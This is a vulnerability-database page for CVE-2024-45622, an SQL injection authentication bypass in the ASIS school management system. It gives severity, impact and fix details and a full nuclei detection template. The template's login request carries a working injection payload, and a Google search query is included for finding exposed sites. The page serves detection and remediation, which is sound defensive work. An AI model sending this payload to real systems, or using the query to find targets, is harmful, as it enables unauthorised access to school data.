ASIS - SQL Injection Authentication Bypass

criticalseverity

9.8CVSS score

36.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

ASIS (aka Aplikasi Sistem Sekolah using CodeIgniter 3) 3.0.0 through 3.2.0 allows index.php username SQL injection for Authentication Bypass.

Impact

Unauthenticated attackers can bypass authentication via SQL injection to gain unauthorized access to the ASIS system.

Fix

Update ASIS to a version later than 3.2.0 that patches the SQL injection vulnerability.

How to confirm it

Send: GET /asispanel/
Positive when: contains(body,"<title>ASIS | Aplikasi Sistem Sekolah </title>") and status_code == 200
Send: POST /asispanel/login/cek
Positive when: status_code == 303
Send: GET /asispanel/home
Positive when: contains(body, "Logout") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-45622 -u <target>

The full check

id: CVE-2024-45622

info:
  name: ASIS - SQL Injection Authentication Bypass
  author: s4e-io
  severity: critical
  description: |
    ASIS (aka Aplikasi Sistem Sekolah using CodeIgniter 3) 3.0.0 through 3.2.0 allows index.php username SQL injection for Authentication Bypass.
  impact: |
    Unauthenticated attackers can bypass authentication via SQL injection to gain unauthorized access to the ASIS system.
  remediation: |
    Update ASIS to a version later than 3.2.0 that patches the SQL injection vulnerability.
  reference:
    - https://github.com/atoz-chevara/cve/blob/main/2024/ASIS_AplikasiSistemSekolah_Using_CodeIgniter3-SQL_Injection_Authentication_Bypass.md
    - https://packetstormsecurity.com/files/181355/ASIS-3.2.0-SQL-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45622
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-45622
    cwe-id: CWE-89
    epss-score: 0.3643
    epss-percentile: 0.98501
    cpe: cpe:2.3:a:asis:asis:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: asis
    product: asis
    google-query: "ASIS | Aplikasi Sistem Sekolah"
  tags: cve,cve2024,asis,auth-bypass,sqli,vuln

variables:
  pass: "{{rand_base(10)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /asispanel/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"<title>ASIS | Aplikasi Sistem Sekolah </title>")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /asispanel/login/cek HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=%27+or+0%3D0+%23%23&password={{pass}}&submit=&submit=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 303'
        condition: and
        internal: true

  - raw:
      - |
        GET /asispanel/home HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Logout")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from